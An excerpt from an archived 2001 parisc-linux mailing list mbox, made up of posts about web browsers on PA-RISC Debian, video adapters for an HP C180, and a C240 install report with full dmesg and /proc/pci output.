> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:20:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] browser !!
Date: Tue, 18 Dec 2001 15:46:28 +0100 (CET)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.42.0112181543240.7694-100000@r6.petescaff.com>
References: <Pine.HPX.4.21.0112182002310.14019-100000@hpuxsrv.india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620866 31852 80.91.229.3 (22 Nov 2014 01:47:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:46 +0000 (UTC)
Cc: PARISC Linux List <parisc-linux@lists.parisc-linux.org>
To: Maneesh Singhal <maneesh@india.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 07:47:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id D1CEB482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Dec 2001 07:47:47 -0700 (MST)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.22 #5)
	id 16GLVk-0001pg-00; Tue, 18 Dec 2001 15:46:28 +0100
Original-Received: from apm (helo=localhost)
	by r6.petescaff.com with local-esmtp (Exim 3.33 #1 (Debian))
	id 16GLVk-0002Ex-00; Tue, 18 Dec 2001 15:46:28 +0100
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <Pine.HPX.4.21.0112182002310.14019-100000@hpuxsrv.india.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13411

Maneesh

Try using:

	apt-cache search "web browser"

to see what is currently available in the Debian archive. There is
currently no Netscape (possibly never will be) and only part of mozilla.
It looks like your best bet for now is konqueror. One of these days I
expect we will have Galeon and Moz available.

R.
PeteM

On Tue, 18 Dec 2001, Maneesh Singhal wrote:

> Hi,
>
> 	Where can I find netscape browser for PA-RISC Linux 0.9.3 .
>
> Maneesh
>
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>





From - Thu Nov 08 21:20:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 and EISA/PCI video?
Date: Tue, 18 Dec 2001 15:15:01 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20011218151501.B8936@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.33.0112171521110.20808-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620866 31853 80.91.229.3 (22 Nov 2014 01:47:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:46 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 08:15:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78644482A
	for <parisc-linux@parisc-linux.org>; Tue, 18 Dec 2001 08:15:08 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16GLxN-0002ig-00; Tue, 18 Dec 2001 15:15:01 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0112171521110.20808-100000@goliath.alaskatech.org>; from palinux@alaskatech.org on Mon, Dec 17, 2001 at 03:27:11PM -0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13412

On Mon, Dec 17, 2001 at 03:27:11PM -0900, Tom wrote:
> So, finally picked up a C180. However, it has the DVI video connector. It
> also has free slots - is it possible to use a PCI or EISA video card in
> it, or should I track down the video adapter?

it tends to be tricky getting pci graphics cards of the right voltage --
unless they're HP manufactured ones, in which case they're expensive.
Nobody's written support for EISA DMA yet.  Easiest thing is to get hold
of the adapter.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Maneesh Singhal <maneesh@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] browser !!
Date: Tue, 18 Dec 2001 20:53:11 +0530 (IST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.21.0112182051120.15010-100000@hpuxsrv.india.hp.com>
References: <Pine.LNX.4.42.0112181543240.7694-100000@r6.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620866 31854 80.91.229.3 (22 Nov 2014 01:47:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:46 +0000 (UTC)
Cc: PARISC Linux List <parisc-linux@lists.parisc-linux.org>
To: Peter Mottram <peter@petescaff.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 08:27:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 67E41482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Dec 2001 08:27:26 -0700 (MST)
Original-Received: from hpuxsrv.india.hp.com (hpuxsrv.india.hp.com [15.10.45.132])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 406E71FACA; Tue, 18 Dec 2001 10:27:15 -0500 (EST)
Original-Received: from localhost (maneesh@localhost) by hpuxsrv.india.hp.com with ESMTP (8.8.6 (PHNE_17135)/8.8.6 SMKit7.02) id UAA19198; Tue, 18 Dec 2001 20:53:11 +0530 (IST)
In-Reply-To: <Pine.LNX.4.42.0112181543240.7694-100000@r6.petescaff.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13413

On Tue, 18 Dec 2001, Peter Mottram wrote:

> Maneesh
> 
> Try using:
> 
> 	apt-cache search "web browser"
> 
> to see what is currently available in the Debian archive. There is
> currently no Netscape (possibly never will be) and only part of mozilla.
> It looks like your best bet for now is konqueror. One of these days I
> expect we will have Galeon and Moz available.
> 

Oh, I tried konqueror, but :-( it doesn't run if I run it from anything other than KDE..
and KDE crashes for me many times , so that also  doesn't work properly..


think that best bet is rather lynx :-).

Thanx Anyway,

Regards.
Maneesh






From - Thu Nov 08 21:20:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Grabert <xam@student.cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000/782/C240 up and running 0.9.3 (serial)
Date: Tue, 18 Dec 2001 15:50:24 +0000 (GMT)
Lines: 286
Approved: news@gmane.org
Message-ID: <Pine.OSF.4.41.0112181415560.6043-100000@student.cs.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620867 31860 80.91.229.3 (22 Nov 2014 01:47:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:47 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 08:50:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from student.cs.ucc.ie (student.cs.ucc.ie [143.239.211.125])
	by dsl2.external.hp.com (Postfix) with ESMTP id 05B6C482A
	for <parisc-linux@parisc-linux.org>; Tue, 18 Dec 2001 08:50:03 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by student.cs.ucc.ie (8.9.3/8.9.3) with ESMTP id PAA24633
	for <parisc-linux@parisc-linux.org>; Tue, 18 Dec 2001 15:50:24 GMT
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13414

Hi all,
yesterday I successfully installed Debian 0.9.3 (full cd install)
on my C240! Since I don't have a good monitor that
even supports the 1024x768/75Hz of the HP (but just 72Hz),
I can't use STI (and stifb) yet.
The installation was nearly as easy as the first time I tried Linux/HPPA
(when you just had to extract the nfsroot-tarball on the harddisk ;)
I'll try the 0.9.3 on my HP9000/730 next week when I return to Germany
for christmas.

OT: I had some problems at the very beginning since
minicom on my SPARCstation LX (Suse 7.1) is broken
(serial port is working fine; I'll reinstall Linux on the
 Sun in a couple of days anyway ...)

Slightly OT and newbie question: I don't have any clue how to use debian.
I always created my own linux distributions (at least on Intel).
Since I don't have a internet connection here in Ireland at home (but a
permanent at work), I can't update the system very easily using apt-get
update/upgrade.
So where can I get the latest (post 0.9.3) debian updates (.debs) ?
Do you know a way to set up an proxy server so that i simply mirror
the debian pool system (for personal use) ?

Well, the C240 is just too heavy to bring it to the office (I don't
have a car). Moreover our sysadmins wouldn't be too happy to see a
new workstation on the net (without their permission).

Anyway, here is the dmesg (and more):



xam@beast:~$ uname -a
Linux beast 2.4.9-32 #1 Fri Nov 30 19:36:30 MST 2001 parisc unknown
xam@beast:~$ dmesg
Linux version 2.4.9-32 (root@paer) (gcc version 3.0.2 (Debian)) #1 Fri Nov 30 19
:36:30 MST 2001
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model   00005990 00000481 00000000 00000002 77f75630 100000f0 00000008 000000b2
000000b2
vers    00000501
cpuid   000001d7
CPUID   vers 14 rev 23
model   9000/782/C240+
Total Memory: 512 Mb
pagetable_init
On node 0 totalpages: 131072
zone(0): 131072 pages.
zone(1): 0 pages.
zone(2): 0 pages.
LED display at f0190001 registered
Kernel command line: root=/dev/sda4 HOME=/ console=ttyS0 TERM=vt102
Console: colour dummy device 160x64
Calibrating delay loop... 470.22 BogoMIPS
Memory: 512860k available
Dentry-cache hash table entries: 65536 (order: 7, 524288 bytes)
Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)
Mount-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf, 0xb
2. Dino PCI Bridge (13) at 0xf2000000 [8/0], versions 0x680, 0x3, 0xa
3. Raven U/L2 Dino RS-232 (10) at 0xf2003000 [8/0/63], versions 0x6, 0x0, 0x8c
4. Raven+ w SE FWSCSI Core BA (11) at 0xffd00000 [8/16], versions 0x56, 0x0, 0x8
1,  additional addresses: 0xffc00000
5. Raven+ w SE FWSCSI Core Centronics (10) at 0xffd02000 [8/16/0], versions 0x56
, 0x0, 0x74,  additional addresses: 0xffd03000
6. Raven+ w SE FWSCSU Core Audio (10) at 0xffd04000 [8/16/1], versions 0x56, 0x4
, 0x7b
7. Raven+ w SE FWSCSI Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x56, 0x
0, 0x8c
8. Raven+ w SE FWSCSI Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x56, 0x0,
 0x82
9. Raven+ w SE FWSCSI Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions 0x56,
 0x0, 0x84
10. Raven+ w SE FWSCSI Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x56
, 0x0, 0x84
11. U2-IOA BC GSC+ Port (7) at 0xf203f000 [8/63], versions 0x501, 0x1, 0xc
12. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf, 0xb
13. Cujo PCI Bridge (13) at 0xf1000000 [10/0], versions 0x682, 0x1, 0xa,  additi
onal addresses: 0xf6000000
14. U2-IOA BC GSC+ Port (7) at 0xf103f000 [10/63], versions 0x501, 0x1, 0xc
15. Raven U 240 (9000/780/C240) (0) at 0xfffa0000 [32], versions 0x599, 0x0, 0x4
16. Raven U 240 (1) at 0xfffb1000 [49], versions 0x6f, 0x0, 0x9
CPU(s): 1 x PA8200 (PCX-U+) at 236.000000 MHz
ccio found U2 at 0xfff88000
io_io_low: 0xf2000000
17. Dino PCI Bridge (13) at 0xf2000000 [8/0], versions 0x680, 0x3, 0xa
18. Raven U/L2 Dino RS-232 (10) at 0xf2003000 [8/0/63], versions 0x6, 0x0, 0x8c
19. Raven U/L2 Dino PS/2 Port (10) at 0xf2001000 [8/1], versions 0x6, 0x0, 0x96
20. Raven+ w SE FWSCSI Core BA (11) at 0xffd00000 [8/16], versions 0x56, 0x0, 0x
81,  additional addresses: 0xffc00000
21. Raven+ w SE FWSCSI Core Centronics (10) at 0xffd02000 [8/16/0], versions 0x5
6, 0x0, 0x74,  additional addresses: 0xffd03000
22. Raven+ w SE FWSCSU Core Audio (10) at 0xffd04000 [8/16/1], versions 0x56, 0x
4, 0x7b
23. Raven+ w SE FWSCSI Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x56, 0
x0, 0x8c
24. Raven+ w SE FWSCSI Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x56, 0x0
, 0x82
25. Raven+ w SE FWSCSI Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions 0x56
, 0x0, 0x84
26. Raven+ w SE FWSCSI Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x56
, 0x0, 0x84
27. U2-IOA BC GSC+ Port (7) at 0xf203f000 [8/63], versions 0x501, 0x1, 0xc
ccio found U2 at 0xfff8a000
io_io_low: 0xf1000000
28. Cujo PCI Bridge (13) at 0xf1000000 [10/0], versions 0x682, 0x1, 0xa,  additi
onal addresses: 0xf6000000
29. Dino RS-232 (10) at 0xf1003000 [10/3], versions 0x7, 0x0, 0x8c
30. U2-IOA BC GSC+ Port (7) at 0xf103f000 [10/63], versions 0x501, 0x1, 0xc
Lasi version 0 at 0xffd00000 found.
Dino version 3.1 found at 0xf2000000
Cujo version 2.0 found at 0xf1000000
Enabling Cujo 2.0 bug workaround
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
STI PCI ROM enabled at 0xf1e00000
PCI graphic ROM found at f1e00000 (2048 kB), fb @ f6000000 (32 MB)
PCI region 0: f6000000 with 32768 kB
PCI region 1: 00000000 with 0 kB
PCI region 2: 00000000 with 0 kB
PCI region 3: 00000000 with 0 kB
PCI region 4: 00000000 with 0 kB
PCI region 5: 00000000 with 0 kB
PCI region 6: f1e00000 with 2048 kB
PCI region 7: 00000000 with 0 kB
PCI region 8: 00000000 with 0 kB
PCI region 9: 00000000 with 0 kB
PCI region 10: 00000000 with 0 kB
PCI region 11: 00000000 with 0 kB
Trying PCI STI ROM at f1e00000, PCI hpa at f6000000
I'm not trying to set up the PCI graphic card now... It would freeze your machin
e
Unable to handle STI device 'PCI device 103c:1008 (Hewlett-Packard Company)'
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI en
abled
ttyS00 at iomem 0xffd05800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf2003800 (irq = 106) is a 16550A
ttyS02 at iomem 0xf1003800 (irq = 170) is a 16550A
Lasi PS/2 receive buffer timeout
PS/2 keyboard port at 0xffd08000 (irq 69) found, no device attached.
Lasi PS/2 transmit buffer timeout
PS/2 psaux port at 0xffd08100 (irq 69) found, no device attached.
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=16
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
Linux Tulip driver version 0.9.15-pre6 (July 2, 2001)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 7809 advertising 0101.
eth0: Digital DS21143 Tulip rev 48 at 0xff00, 00:10:83:03:2C:1C, IRQ 96.
SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 19, function 0
sym53c8xx: 53c875 detected
sym53c875-0: rev 0x4 on pci bus 0 device 19 function 0 irq 99
sym53c875-0: ID 7, Fast-20, Parity Checking
scsi0 : sym53c8xx-1.7.3c-20010512
  Vendor: SEAGATE   Model: ST34520WS         Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2
scsi1 : LASI SCSI 53c700
  Vendor: HP        Model: CD-Writer 6020    Rev: 1.07
  Type:   CD-ROM                             ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
sym53c875-0-<6,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 15)
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
Attached scsi CD-ROM sr0 at scsi1, channel 0, id 4, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.12
Lasi Harmony Audio rev. 6 at 0xffd04000, using IRQ 82
sticonsole_init: searching for STI ROMs
BUG: Skipping previously registered driver: sti (native)
STI PCI ROM enabled at 0xf1e00000
PCI graphic ROM found at f1e00000 (2048 kB), fb @ f6000000 (32 MB)
PCI region 0: f6000000 with 32768 kB
PCI region 1: 00000000 with 0 kB
PCI region 2: 00000000 with 0 kB
PCI region 3: 00000000 with 0 kB
PCI region 4: 00000000 with 0 kB
PCI region 5: 00000000 with 0 kB
PCI region 6: f1e00000 with 2048 kB
PCI region 7: 00000000 with 0 kB
PCI region 8: 00000000 with 0 kB
PCI region 9: 00000000 with 0 kB
PCI region 10: 00000000 with 0 kB
PCI region 11: 00000000 with 0 kB
Trying PCI STI ROM at f1e00000, PCI hpa at f6000000
I'm not trying to set up the PCI graphic card now... It would freeze your machin
e
Unable to handle STI device 'PCI device 103c:1008 (Hewlett-Packard Company)'
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 4096 buckets, 32Kbytes
TCP: Hash tables configured (established 32768 bind 65536)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
Adding Swap: 251492k swap-space (priority -1)
ip_tables: (c)2000 Netfilter core team
ip_conntrack (4006 buckets, 32048 max)
VFS: Disk change detected on device sr(11,0)
ISO 9660 Extensions: RRIP_1991A
ISO 9660 Extensions: RRIP_1991A
Lasi PS/2 transmit buffer timeout

do_page_fault() pid=5087 command='scrollkeeper_to' type=15 address=0x00000008

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 40250e70 00012003 00034640
r4-7     00023060 00000000 00000008 faf00788
r8-11    00000000 000aa708 000ac708 000ab3e8
r12-15   00000000 000ab548 ffffffff 00000000
r16-19   00000000 0009cd64 00000003 00000008
r20-23   0000000a 00000000 00000000 00000000
r24-27   00032640 00000001 00034640 000226e4
r28-31   00000000 00034638 faf00c80 00001630
sr0-3    000005fc 000005fc 00000000 000005fc
sr4-7    000005fc 000005fc 000005fc 000005fc

IASQ: 000005fc 000005fc IAOQ: 0001200f 00012013
 IIR: 0cb01093    ISR: 000005fc  IOR: 00000008
 CPU:        0   CR30: 1961c000 CR31: 10338000
 ORIG_R28: 01000001

do_page_fault() pid=14740 command='scrollkeeper_to' type=15 address=0x00000008

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 40250e70 00012003 00034640
r4-7     00023060 00000000 00000008 faf00788
r8-11    00000000 000aa708 000ac708 000ab3e8
r12-15   00000000 000ab548 ffffffff 00000000
r16-19   00000000 0009cd64 00000003 00000008
r20-23   0000000a 00000000 00000000 00000000
r24-27   00032640 00000001 00034640 000226e4
r28-31   00000000 00034638 faf00c80 00001630
sr0-3    00005fc1 00005fc1 00000000 00005fc1
sr4-7    00005fc1 00005fc1 00005fc1 00005fc1

IASQ: 00005fc1 00005fc1 IAOQ: 0001200f 00012013
 IIR: 0cb01093    ISR: 00005fc1  IOR: 00000008
 CPU:        0   CR30: 19e94000 CR31: 10338000
 ORIG_R28: 01000001
xam@beast:~$ more /proc/pci
PCI devices found:
  Bus  0, device  19, function  0:
    SCSI storage controller: Symbios Logic Inc. (formerly NCR) 53c875 (rev 4).
      IRQ 99.
      Master Capable.  Latency=255.  Min Gnt=17.Max Lat=64.
      I/O at 0xfe00 [0xfeff].
      Non-prefetchable 32 bit memory at 0xf2ffd000 [0xf2ffd0ff].
      Non-prefetchable 32 bit memory at 0xf2ffe000 [0xf2ffefff].
  Bus  0, device  20, function  0:
    Ethernet controller: Digital Equipment Corporation DECchip 21142/43 (rev 48)
.
      IRQ 96.
      Master Capable.  Latency=255.  Min Gnt=20.Max Lat=40.
      I/O at 0xff00 [0xff7f].
      Non-prefetchable 32 bit memory at 0xf2fff000 [0xf2fff07f].
  Bus  1, device   4, function  0:
    Display controller: PCI device 103c:1008 (Hewlett-Packard Company) (rev 2).
      IRQ 160.
      Master Capable.  Latency=255.
      Non-prefetchable 64 bit memory at 0xf6000000 [0xf7ffffff].
xam@beast:~$




From - Thu Nov 08 21:20:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Betr.: Re: [parisc-linux] browser !!
Date: Tue, 18 Dec 2001 16:31:06 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <sc1f734f.090@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620867 31863 80.91.229.3 (22 Nov 2014 01:47:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:47 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: <maneesh@india.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 08:50:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4959F482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Dec 2001 08:50:57 -0700 (MST)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id QAA14629 for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Dec 2001 16:50:55 +0100 (MET)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma014173; Tue, 18 Dec 01 16:49:34 +0100
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Tue, 18 Dec 2001 16:48:15 +0100
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13415

>On Tue, 18 Dec 2001, Peter Mottram wrote:
>think that best bet is rather lynx :-).
>
Be sure to also try 'links' - it renders tables, and goes a long way.
It's perfectly possible to read freshmeat / slashdot / amazon etc.
with.

Good luck,
Jurriaan




From - Thu Nov 08 21:20:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Deresch <aderesch@fs.tum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: Re: [parisc-linux] browser !!
Date: Tue, 18 Dec 2001 17:39:01 +0100 (CET)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.40.0112181736240.16897-100000@io.fachschaften.tu-muenchen.de>
References: <sc1f734f.090@ms-zrt1>
Reply-To: Andreas Deresch <aderesch@fs.tum.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620867 31864 80.91.229.3 (22 Nov 2014 01:47:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
